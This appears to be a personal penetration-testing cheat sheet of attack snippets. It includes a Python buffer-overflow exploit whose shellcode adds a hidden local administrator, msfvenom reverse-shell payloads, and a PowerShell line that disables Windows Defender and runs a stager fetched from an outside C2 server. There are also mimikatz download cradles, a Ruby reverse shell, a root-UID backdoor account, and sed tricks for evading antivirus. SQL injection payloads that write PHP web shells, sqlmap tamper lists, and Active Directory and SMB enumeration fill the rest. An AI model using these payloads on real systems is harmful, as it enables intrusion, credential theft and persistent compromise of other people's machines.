| Greetz: offsec and inj3ct0r teams | |
| printf("New local admin \tUsername: secuid0\n\t\t\tPassword: m0nk"); | |
| \xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61\x64\x64\x00 | |
| printf("New local admin \tUsername: secuid0\n\t\t\tPassword: m0nk"); | |
| ================================================== | |
| #!/usr/bin/python | |
| import socket | |
| # 8 nops \x90\x90\x90\x90\x90\x90\x90\x90 | |
| #SER_ADDR = input("Type the server IP address: ") | |
| #SER_PORT = int(input("Type the server port: ")) | |
| #\x53\x93\x42\x7E tested and does work | |
| #\x31\x61\x78\xc7 | |
| SER_ADDR = "127.0.0.1" | |
| SER_PORT = 1001 | |
| my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| my_sock.connect((SER_ADDR, SER_PORT)) | |
| print("Connection established") | |
| data = my_sock.recv(1024) | |
| print(data.decode('utf-8')) | |
| buffer = ('\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x53\x93\x42\x7E\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61\x64\x64\x00\x90\x90\x90\x90\x90\x90\x90\x90') | |
| my_sock.sendall(buffer) | |
| data = my_sock.recv(1024) | |
| print(data.decode('utf-8')) | |
| ======================= | |
| msfvenom -p windows/exec cmd="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f" -f c --platform windows -b "\x00\x30" | |
| msfvenom -p windows/shell/reverse_tcp LHOST=10.185.10.20 LPORT=443 -f c --platform windows -b "\x00\x30" | |
| \xd9\xcb\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x54\xbe\x10\xd9\x15\xab\x31\x75\x18\x03\x75\x18\x83\xed\xec\x3b\xe0\x57\xe4\x3e\x0b\xa8\xf4\x5e\x85\x4d\xc5\x5e\xf1\x06\x75\x6f\x71\x4a\x79\x04\xd7\x7f\x0a\x68\xf0\x70\xbb\xc7\x26\xbe\x3c\x7b\x1a\xa1\xbe\x86\x4f\x01\xff\x48\x82\x40\x38\xb4\x6f\x10\x91\xb2\xc2\x85\x96\x8f\xde\x2e\xe4\x1e\x67\xd2\xbc\x21\x46\x45\xb7\x7b\x48\x67\x14\xf0\xc1\x7f\x79\x3d\x9b\xf4\x49\xc9\x1a\xdd\x80\x32\xb0\x20\x2d\xc1\xc8\x65\x89\x3a\xbf\x9f\xea\xc7\xb8\x5b\x91\x13\x4c\x78\x31\xd7\xf6\xa4\xc0\x34\x60\x2e\xce\xf1\xe6\x68\xd2\x04\x2a\x03\xee\x8d\xcd\xc4\x67\xd5\xe9\xc0\x2c\x8d\x90\x51\x88\x60\xac\x82\x73\xdc\x08\xc8\x99\x09\x21\x93\xf5\xfe\x08\x2c\x05\x69\x1a\x5f\x37\x36\xb0\xf7\x7b\xbf\x1e\x0f\x7c\xea\xe7\x9f\x83\x15\x18\x89\x47\x41\x48\xa1\x6e\xea\x03\x31\x8f\x3f\xb9\x34\x07\xca\x87\x3d\xc3\xa2\xf5\x41\xea\x89\x73\xa7\xbc\xbd\xd3\x78\x7c\x6e\x94\x28\x14\x64\x1b\x16\x04\x87\xf1\x3f\xae\x68\xac\x68\x46\x10\xf5\xe3\xf7\xdd\x23\x8e\x37\x55\xc6\x6e\xf9\x9e\xa3\x7c\xed\xfe\x4b\x7d\xed\x6a\x4c\x17\xe9\x3c\x1b\x8f\xf3\x19\x6b\x10\x0c\x4c\xef\x57\xf2\x11\xc6\x2c\xc4\x87\x66\x5b\x28\x48\x67\x9b\x7e\x02\x67\xf3\x26\x76\x34\xe6\x29\xa3\x28\xbb\xbf\x4c\x19\x6f\x68\x25\xa7\x56\x5e\xea\x58\xbd\xdd\xed\xa7\x43\xc3\x55\xc0\xbb\x43\x66\x10\xd6\x43\x36\x78\x2d\x6c\xb9\x48\xce\xa7\x92\xc0\x45\x29\x50\x70\x59\x60\x34\x2c\x5a\x86\xed\x39\xd5\x69\x12\x46\x17\x56\xc4\x7f\x6d\x9f\xd4\x3b\x7e\xaa\x79\x6d\x15\xd4\x2e\x6d\x3c | |
| ==================== | |
| rdp enable | |
| firewall disable - works | |
| \xdb\xdc\xd9\x74\x24\xf4\x58\xba\x86\xd7\xd1\xb6\x33\xc9\xb1\x37\x31\x50\x19\x83\xe8\xfc\x03\x50\x15\x64\x22\x2d\x5e\xea\xcd\xce\x9f\x8a\x44\x2b\xae\x8a\x33\x3f\x81\x3a\x37\x6d\x2e\xb1\x15\x86\xa5\xb7\xb1\xa9\x0e\x7d\xe4\x84\x8f\x2d\xd4\x87\x13\x2f\x09\x68\x2d\xe0\x5c\x69\x6a\x1c\xac\x3b\x23\x6b\x03\xac\x40\x21\x98\x47\x1a\xa4\x98\xb4\xeb\xc7\x89\x6a\x67\x9e\x09\x8c\xa4\xab\x03\x96\xa9\x91\xda\x2d\x19\x6e\xdd\xe7\x53\x8f\x72\xc6\x5b\x62\x8a\x0e\x5b\x9c\xf9\x66\x9f\x21\xfa\xbc\xdd\xfd\x8f\x26\x45\x76\x37\x83\x77\x5b\xae\x40\x7b\x10\xa4\x0f\x98\xa7\x69\x24\xa4\x2c\x8c\xeb\x2c\x76\xab\x2f\x74\x2d\xd2\x76\xd0\x80\xeb\x69\xbb\x7d\x4e\xe1\x56\x6a\xe3\xa8\x3c\x6d\x71\xd7\x73\x6d\x89\xd8\x23\x05\xb8\x53\xac\x52\x45\xb6\x88\xbc\xa7\x13\xe5\x54\x7e\xf6\x44\x39\x81\x2c\x8a\x47\x02\xc5\x73\xbc\x1a\xac\x76\xf9\x9c\x5c\x0b\x92\x48\x63\xb8\x93\x58\x0d\x5b\x1f\x10\xba\x83\xb9\xbf\x48\xa1\x32\x21\xc1\x45\x9c\xd2\x7c\xe2\xfc\x7b\x0f\x67\x93\xe7\x8a\x57\x0f\x81\x27\xf9\xad\x3d\xad\xf9 | |
| secuid | |
| \xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61\x64\x64\x00 | |
| ================== | |
| add user joseph j0Seph123 | |
| \xba\x08\x07\x33\x57\xda\xc4\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x36\x31\x50\x15\x03\x50\x15\x83\xc0\x04\xe2\xfd\xfb\xdb\xd5\xfd\x03\x1c\xba\x74\xe6\x2d\xfa\xe2\x62\x1d\xca\x61\x26\x92\xa1\x27\xd3\x21\xc7\xef\xd4\x82\x62\xc9\xdb\x13\xde\x29\x7d\x90\x1d\x7d\x5d\xa9\xed\x70\x9c\xee\x10\x78\xcc\xa7\x5f\x2e\xe1\xcc\x2a\xf2\x8a\x9f\xbb\x72\x6e\x57\xbd\x53\x21\xe3\xe4\x73\xc3\x20\x9d\x3a\xdb\x25\x98\xf5\x50\x9d\x56\x04\xb1\xef\x97\xaa\xfc\xdf\x65\xb3\x39\xe7\x95\xc6\x33\x1b\x2b\xd0\x87\x61\xf7\x55\x1c\xc1\x7c\xcd\xf8\xf3\x51\x8b\x8b\xf8\x1e\xd8\xd4\x1c\xa0\x0d\x6f\x18\x29\xb0\xa0\xa8\x69\x96\x64\xf0\x2a\xb7\x3d\x5c\x9c\xc8\x5e\x3f\x41\x6c\x14\xd2\x96\x1d\x77\xb9\x69\x90\x0d\x8f\x6a\xaa\x0d\xa0\x02\x9b\x86\x2f\x54\x24\x4d\x14\xba\xc7\x44\x61\x53\x51\x0d\xc8\x3e\x62\xfb\x0f\x47\xe0\x0e\xf0\xbc\xf8\x7a\xf5\xf9\xbf\x97\x87\x92\x55\x98\x34\x92\x7c\xf6\xdf\x18\x5e\x72\x53\x84\xec\x5c\xf9\x29\x63\xf8\x8d\xdd\xa3\x68\x5e\x4d\xc6\x1c\xf6\x40\x3a\xee\x26\x8c\x5b\x74\x43\xd2 |
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| This works for disabling Windows Defender and running empire stager: | |
| powershell -exec bypass Set-MpPreference -DisableRealtimeMonitoring $true && cmd /c "powershell -noninteractive -command IEX (New-Object Net.WebClient).DownloadString('http://cloud.c2server.net:81/file2.ps1')" | |
| Download Cradle | |
| (new-object System.Net.Webclient).DownloadString('http://192.168.50.34:8080/mimikatz.exe') | |
| Download Cradle and Execute | |
| (new-object System.Net.Webclient).DownloadString('http://192.168.50.34:8080/mimikatz.ps1') | IEX | |
| Download EXE and place it | |
| IEX (new-object System.Net.Webclient).DownloadFile('http://192.168.50.34:8080/JuicyPotato.exe','C:\users\public\downloads\potato.exe') | |
| PowerView - Find interesting files e.g., unattend.xml | |
| Find-InterestingFile -Path 'C:\' -Include 'unattend*.xml' | |
| Find-InterestingACL |
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| echo <password> | su -c 'usermod -s /bin/bash <username>' |
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| Domain Enumeration with powerview | |
| get-netdomain | |
| get-netdomain -domain victim.local | |
| Domain SID enumeration | |
| Get-DomainSID | |
| Domain Enumeration with ActiveDirectory Module | |
| Get-ADDomain | |
| Get-ADDomain -Identity victim.local | |
| (Get-ADDomain).DomainSID.Value | |
| PowerView | |
| Get Domain Controllers for a domain: | |
| Get-NetDomainController | |
| Get-NetDomainController -Domain victim.local | |
| ActiveDirectory Module | |
| Get-ADDomainController | |
| Get-ADDomainController -Discover -DomainName victim.local | |
| Get users of a Domain PowerView | |
| Get-NetUser | |
| Get-NetUser -Domain victim.local | |
| Get-NetUser -UserName user123 | |
| Get users of a Domain ActiveDirectory Module | |
| Get-ADUser -Filter * -Properties * | |
| Get-ADUser -Server dc01.victim.local | |
| Get-ADUser -Identity user123 | |
| Get all the groups in the current domain PowerView | |
| Get-NetGroup | |
| Get-NetGroup *admin* | |
| Get all the groups in the domain ActiveDirectory Module | |
| Get-ADGroup -Filter * | select name | |
| Get-ADGroup -Filter 'Name -Like "*admin*" | select name | |
| Find all machines on the current domain where the current user has local admin access | |
| Find-LocalAdminAccess -verbose | |
| Find Local Admins on all machines of the domain | |
| Invoke-EnumerateLocalAdmin - Verbose | |
| List Sessions on a particular Computer | |
| Get-NetSession -ComputerName victim1 | |
| Find Computers where a domain admin is logged in and current user has access | |
| Invoke-UserHunter -CheckAccess | |
| Above gets a list of machines from DC and list sessions and logged on users from each machine | |
| Get ACLs associated with the specified object | |
| Get-ObjectACL -SamAccountName ussr123 -ResolveGUIDs | |
| Get ACLs associated with the specified prefix to be used for search | |
| Get-objectACL -ADSprefix 'CN=Administrator,CN=Users' -Verbose | |
| Enumerate ACLs using Active Directory module but without resolving GUIDs | |
| (Get-ACL 'AD:\CN:=labuser,CN=Users,DC=dc01,DC=dc02,DC=local').Access |
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| redis | |
| command list | |
| http://redis.io/commands | |
| http://blaszczakm.blogspot.com/2016/03/kevgir-vm-writeup.html | |
| http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ <-- detailed | |
| -------------------------------------- | |
| Commands I used, and work from ~ directory | |
| ssh-keygen -t rsa | |
| * You will be asked | |
| Enter file in which to save the key (/root/.ssh/id_rsa): | |
| /root/.ssh/id_rsa already exists. | |
| Overwrite (y/n)? y | |
| Enter passphrase (empty for no passphrase): | |
| Enter same passphrase again: | |
| Your identification has been saved in /root/.ssh/id_rsa. | |
| Your public key has been saved in /root/.ssh/id_rsa.pub. | |
| *******When you are asked the above I just hit enter to get all defaults -- then I get the following output | |
| Your public key has been saved in /root/.ssh/id_rsa.pub. | |
| The key fingerprint is: | |
| SHA256:j2G4Ol5LoJR9bgy808TvXz8W56KVp/o/leF9uWcKl3c root@kali | |
| ***Now I enter | |
| (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /root/Desktop/foo.txt <--this will output | |
| the keygen to the desktop | |
| to be continued | |
| --------------------------------- |
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| Single Host | |
| ./fimap.py -u "http://localhost/vulnerable.php?inc=index.php" | |
| List of Hosts | |
| ./fimap.py -m -l "/tmp/myurllist.txt" | |
| GOOGLE SCAN Same as mass scan. But instead of getting the urls from a txt-list it will use google to get urls. To use google mode use: | |
| imax@DevelB0x:~$ ./fimap.py -g -q 'inurl:"include.php"' | |
| imax@DevelB0x:~$ ./fimap.py -g -q 'inurl:"req.php" -svn -trak -cvs' |
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| First enable remoting | |
| Enable-PSRemoting -SkipNetworkProfileCheck -Force | |
| Now add trusted hosts | |
| winrm s winrm/config/client '@{TrustedHosts="172.16.80.100"}' | |
| winrm set winrm/config/client '@{TrustedHosts="10.100.11.102,10.100.11.250"}' |
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| responder -i eth0 | |
| responder -v -F -f -r -w -b -I eth0 - this will run pretty much all the things | |
| responder -I eth0 -wFb - This is good for WPAD Poisoning |
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| useradd -ou 0 -g 0 machew |
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| ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
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| The following will change Invoke-Mimikatz into Invoke-LSASSscraper - Where Invoke-Mimikatz is what antivirus will pick up and Invoke-LSASSscraper is what will bypass antivirus | |
| sed -i -e 'Invoke-Mimikatz/Invoke-LSASSscraper/g' Invoke-Mimikatz.ps1 | |
| The following will remove all comment blocks from a powershell file, helping to bypass AV | |
| sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 | |
| The following will help remove all comments from a powershell file, helping to bypass AV | |
| sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 | |
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| File shares | |
| rpcinfo -s <ip address> | |
| List Shares | |
| showmount -e <ip> | |
| grab the file | |
| mount -t nfs <ip>:/backup /tmp/nfs -o nolock | |
| ----------------------------------------------- | |
| smbclient -N -L \\<IP address> | |
| ----------------------------------------------- | |
| Install this for better enum4linux usability | |
| apt-get install ldapscripts | |
| list shares | |
| smbclient -L 192.168.99.162 | |
| ------------------ | |
| Access Share | |
| smbclient \\\\192.168.30.53\\WorkSharing <--access share | |
| if you see any files of interest you can type the following | |
| get <filename>.txt /root/Desktop/<filename>.txt | |
| from windows, type | |
| nbtstat -a | |
| ---------- | |
| Linux Discovery | |
| nbtscan -v <IP Address orr address range IE /24> | |
| ---------- | |
| if you then see something like ELS-WINXP <20> Unique Registered -- then there is a server or share :) | |
| ---------- | |
| From windows, type the following this should list the shares, domains, and resources on the target | |
| net view <IPaddress> | |
| ---------- | |
| This will connect to the K drive | |
| net use K: \\<IP address\share IE C or Admin> net use K: \\192.168.31.53\C | |
| ---------- | |
| From linux type the following this will list the shares, domains, and resources on the target | |
| smbclient -L 192.168.30.53 | |
| To mount from linux, type the following | |
| mount.cifs /192.168.99.162/C /media/K_share/ user=,pass= | |
| ---------- | |
| From windows start a null session | |
| net use \\192.168.30.53\IPC$ "" /u: "" | |
| ---------- | |
| From linux, type the following to enumerate all smb things | |
| enum4linux -A -v <IP address> | |
| ---------- | |
| Enumerate null user sessions. | |
| rpcclient -N -U "" <IP address> | |
| while in RPC client command line, type the following to enumerate | |
| enum <---then use tab completion to autocomplete, and you can choose what you do want to enumerate. | |
| others | |
| srvinfo, lookupnames, queryuser, enumprivs, enumalsgroups | |
| ----------- | |
| RPC Enumeration | |
| /usr/share/set/src/fasttrack/rid_enum.py 192.168.91.129:36234 500 5000 /usr/share/seclists/Usernames/Names | |
| http://www.fuzzysecurity.com/tutorials/26.html |
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| ********Process********* | |
| ----------- | |
| nmap -sU -p 161 10.10.10.10 | |
| if found do | |
| snmp-check -t 10.10.10.10 | |
| if snmp stuff is found, gather the following | |
| Names | |
| Services | |
| Listening ports | |
| ----------- | |
| SNMP | |
| downloads | |
| --------- | |
| snmpenum | |
| http://dl.packetstormsecurity.net/UNIX/scanners/snmpenum.zip | |
| commands for this tool | |
| perl snmp.pl 10.10.10.5 public windows.txt | |
| the "public" refers to the fact you want to search for public strings. The "windows" shows you want to search a known windows host | |
| ------------------------------------ | |
| to find people running snmp | |
| nmap -sU -p 161 <IP address> | |
| ------------------------------------ | |
| snmp-check -t <ip address> | |
| if SNMP is found, type the following | |
| onesixtyone -c /usr/share/doc/onesixtyone/dict.txt <IP address> | |
| ------------------------------------- | |
| if you find some usernames from the snmp enumeration, you can do the following | |
| echo -e "admin\nAdministrator\nGuest " > users.txt | |
| this will make a wordlist -- the admin, Administrator, and guest are just examples of usernames found, the \n after the usernames just specifies a carriage return. | |
| Snmpwalk | |
| snmpwalk -v -2c 192.168.30.53 -c public | |
| -v option specifies the snmp version IE version 2c | |
| -c option specifies to use the "public" string | |
| if the output returns numerically then be sure to install the snmp-mibs-downloader package | |
| ===================== | |
| http://www.networkmanagementsoftware.com/snmp-tutorial-part-2-rounding-out-the-basics/ | |
| http://www.oid-info.com/ | |
| ===================== | |
| nmap snmp scripts | |
| snmp-brute | |
| snmp-info | |
| snmp-interfaces | |
| snmp-netstat | |
| snmp-processes | |
| snmp-sysdescr | |
| snmp-win32-services | |
| or view them all | |
| /usr/share/nmap/scripts ls -l | grep -i snmp | |
| IE: | |
| nmap -sU -p 161 --script=<script name> <IP address> **optional, you can append the following **--script-args snmp-brute.communitiesdb=<wordlist> |
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| ###SQLMAP | |
| sqlmap -r report.req --dbms=mysql --technique=U --dbms mysql --level 5 --risk 3 -p id --dump | |
| -r is the file name | |
| --dbms is the database type | |
| --technique is the type - U is union | |
| -p is the parameter, in this case the parameter that is vulnerable is id | |
| --level checks everything, user agents, cookies, all parameters | |
| --risk will blow up how much traffic you generate and might get you caught | |
| ####SQLmap post parameter shit | |
| see the request below? add it to a text file and save whatever request you are attempting to exploit | |
| then | |
| select which parameter - in this parameter, the post requests you can check user, admin, and pass | |
| so, if you wanna check user parameter, do this | |
| sqlmap -r this-filename.txt -p user | |
| or if you wanna check the pass field, do this | |
| sqlmap -r this-filename.txt -p pass | |
| get it? got it? good | |
| POST /?page=login HTTP/1.1 | |
| Host: 192.168.91.129 | |
| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| Referer: http://192.168.91.129/?page=login | |
| Cookie: PHPSESSID=81uqq56dr9jb3o35qa2jdv0u61 | |
| Connection: close | |
| Content-Type: application/x-www-form-urlencoded | |
| Content-Length: 50 | |
| user=admin&pass=admin&submit=Login | |
| ********** | |
| MySQL tampering | |
| tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor | |
| MSSQL tampering | |
| tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes | |
| General Tampering | |
| tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes | |
| -------------------------- | |
| sqlmap -u 'http://1.sqli.labs/' -p user-agent --random-agent --banner | |
| sqlmap -r /root/Desktop/request.txt -p --user agent | |
| sqlmap -u http://5.sqli.labs -p user-agent --random-agent --banner --tamper=randomcase,space2comment,apostrophemask,informationschemacomment | |
| ------------------- | |
| IP-address/cat.php?id=1 UNION SELECT 1,@@version,3,4-- | |
| IP-address/cat.php?id=1 UNION SELECT 1,database(),3,4-- | |
| IP-address/cat.php?id=1 UNION SELECT 1,current_user(),3,4-- | |
| IP-address/cat.php?id=1 UNION SELECT 1,@@datadir,3,4-- | |
| IP-address/cat.php?id=1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- | |
| IP-address/cat.php?id=1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="users"-- | |
| IP-address/cat.php?id=1 UNION SELECT 1,group_concat(id,0x3a,login,0x3a,password),3,4 FROM photoblog.users-- | |
| ' OR '1'='1 | |
| To write a PHP shell: | |
| o SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; | |
| o and then access it at: | |
| o http://localhost/shell.php?c=cat%20/etc/passwd | |
| o To write a downloader: | |
| o SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php' | |
| o and then access it at: | |
| o http://localhost/get.php?f=shell.php&u=__URLSTART__http://localhost/c99.txt | |
| ----------------- | |
| 2nd Order SQL | |
| # Down below change the injection URL into what you need I.E. instead of selfie4you.com type in google #or whatever you are attacking. | |
| # | |
| # sqlmap -u 'http://127.0.0.1/2ndOrderPAYLOAD.php?payload=x' --technique=U \r\n | |
| # | |
| # Usage http://127.0.0.1/2ndOrderPAYLOAD.php?payload=' union select user(); -- -*****enter in malicious payload \r\n | |
| # | |
| #------------------- | |
| https://websec.ca/kb/sql_injection | |
| ------------------------------------------------------- | |
| /usr/share/sqlmap/tamper/__init__.py | |
| /usr/share/sqlmap/tamper/apostrophemask.py | |
| /usr/share/sqlmap/tamper/apostrophenullencode.py | |
| /usr/share/sqlmap/tamper/appendnullbyte.py | |
| /usr/share/sqlmap/tamper/base64encode.py | |
| /usr/share/sqlmap/tamper/between.py | |
| /usr/share/sqlmap/tamper/between.pyc | |
| /usr/share/sqlmap/tamper/bluecoat.py | |
| /usr/share/sqlmap/tamper/chardoubleencode.py | |
| /usr/share/sqlmap/tamper/charencode.py | |
| /usr/share/sqlmap/tamper/charencode.pyc | |
| /usr/share/sqlmap/tamper/charunicodeencode.py | |
| /usr/share/sqlmap/tamper/charunicodeencode.pyc | |
| /usr/share/sqlmap/tamper/commalessmid.py | |
| /usr/share/sqlmap/tamper/concat2concatws.py | |
| /usr/share/sqlmap/tamper/equaltolike.py | |
| /usr/share/sqlmap/tamper/equaltolike.pyc | |
| /usr/share/sqlmap/tamper/greatest.py | |
| /usr/share/sqlmap/tamper/greatest.pyc | |
| /usr/share/sqlmap/tamper/halfversionedmorekeywords.py | |
| /usr/share/sqlmap/tamper/ifnull2ifisnull.py | |
| /usr/share/sqlmap/tamper/informationschemacomment.py | |
| /usr/share/sqlmap/tamper/lowercase.py | |
| /usr/share/sqlmap/tamper/modsecurityversioned.py | |
| /usr/share/sqlmap/tamper/modsecurityzeroversioned.py | |
| /usr/share/sqlmap/tamper/multiplespaces.py | |
| /usr/share/sqlmap/tamper/multiplespaces.pyc | |
| /usr/share/sqlmap/tamper/nonrecursivereplacement.py | |
| /usr/share/sqlmap/tamper/nonrecursivereplacement.pyc | |
| /usr/share/sqlmap/tamper/overlongutf8.py | |
| /usr/share/sqlmap/tamper/percentage.py | |
| /usr/share/sqlmap/tamper/randomcase.py | |
| /usr/share/sqlmap/tamper/randomcase.pyc | |
| /usr/share/sqlmap/tamper/randomcomments.py | |
| /usr/share/sqlmap/tamper/securesphere.py | |
| /usr/share/sqlmap/tamper/sp_password.py | |
| /usr/share/sqlmap/tamper/space2comment.py | |
| /usr/share/sqlmap/tamper/space2comment.pyc | |
| /usr/share/sqlmap/tamper/space2dash.py | |
| /usr/share/sqlmap/tamper/space2dash.pyc | |
| /usr/share/sqlmap/tamper/space2hash.py | |
| /usr/share/sqlmap/tamper/space2morehash.py | |
| /usr/share/sqlmap/tamper/space2mssqlblank.py | |
| /usr/share/sqlmap/tamper/space2mssqlhash.py | |
| /usr/share/sqlmap/tamper/space2mysqlblank.py | |
| /usr/share/sqlmap/tamper/space2mysqldash.py | |
| /usr/share/sqlmap/tamper/space2mysqldash.pyc | |
| /usr/share/sqlmap/tamper/space2plus.py | |
| /usr/share/sqlmap/tamper/space2randomblank.py | |
| /usr/share/sqlmap/tamper/symboliclogical.py | |
| /usr/share/sqlmap/tamper/symboliclogical.pyc | |
| /usr/share/sqlmap/tamper/unionalltounion.py | |
| /usr/share/sqlmap/tamper/unmagicquotes.py | |
| /usr/share/sqlmap/tamper/unmagicquotes.pyc | |
| /usr/share/sqlmap/tamper/uppercase.py | |
| /usr/share/sqlmap/tamper/uppercase.pyc | |
| /usr/share/sqlmap/tamper/varnish.py | |
| /usr/share/sqlmap/tamper/versionedkeywords.py | |
| /usr/share/sqlmap/tamper/versionedmorekeywords.py | |
| /usr/share/sqlmap/tamper/xforwardedfor.py | |
| /usr/share/sqlmap/tamper/xforwardedfor.pyc |
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| Log into server with key | |
| ssh -i k<key_for_ssh.pem> root@<ip address> | |
| If you are getting "Permissions" issues then set the .pem file to 400 permission level | |
| e.g., chmod 400 key_for_ssh.pem |
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| Connect SSHuttle with a key file | |
| sshuttle --dns -vr root@10.10.110.123 0/0 --ssh-cmd 'ssh -i file.key' | |
| Connect sshuttle with username (will be prompted with password) | |
| sshuttle -r root@10.10.110.123 0/0 | |
| sshuttle -H -N --dns -D -r root@10.10.110.123 0/0 --ssh-cmd "ssh -i root_rsa_key_Nix01" | |
| This works well | |
| sshuttle --dns --auto-nets --to-ns 172.16.1.5:53 --auto-hosts --method ipfw --python /opt/splink/bin/python -v 0/0 --ssh-cmd "ssh -i /root/Desktop/offshore/ssh_keys/root_rsa_key_Nix01 root@10.10.110.123" | |
| sshuttle --dns 0/0 --ssh-cmd "ssh -i /root/Desktop/offshore/ssh_keys/root_rsa_key_Nix01 root@10.10.110.123" |
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| Easy Searchsploit | |
| searchsploit --nmap *.xml | |
| Exclude DOS exploits | |
| searchsploit <search string> | grep -v '/dos/' | |
| Search only in exploit title | |
| searchsploit -t <search string> --colour | |
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| Domain Enumeration with powerview | |
| get-netdomain | |
| get-netdomain -domain victim.local | |
| Domain SID enumeration | |
| Get-DomainSID | |
| Domain Enumeration with ActiveDirectory Module | |
| Get-ADDomain | |
| Get-ADDomain -Identity victim.local | |
| (Get-ADDomain).DomainSID.Value | |
| PowerView | |
| Get Domain Controllers for a domain: | |
| Get-NetDomainController | |
| Get-NetDomainController -Domain victim.local | |
| ActiveDirectory Module | |
| Get-ADDomainController | |
| Get-ADDomainController -Discover -DomainName victim.local | |
| Get users of a Domain PowerView | |
| Get-NetUser | |
| Get-NetUser -Domain victim.local | |
| Get-NetUser -UserName user123 | |
| Get users of a Domain ActiveDirectory Module | |
| Get-ADUser -Filter * -Properties * | |
| Get-ADUser -Server dc01.victim.local | |
| Get-ADUser -Identity user123 | |
| Get all the groups in the current domain PowerView | |
| Get-NetGroup | |
| Get-NetGroup *admin* | |
| Get all the groups in the domain ActiveDirectory Module | |
| Get-ADGroup -Filter * | select name | |
| Get-ADGroup -Filter 'Name -Like "*admin*" | select name | |
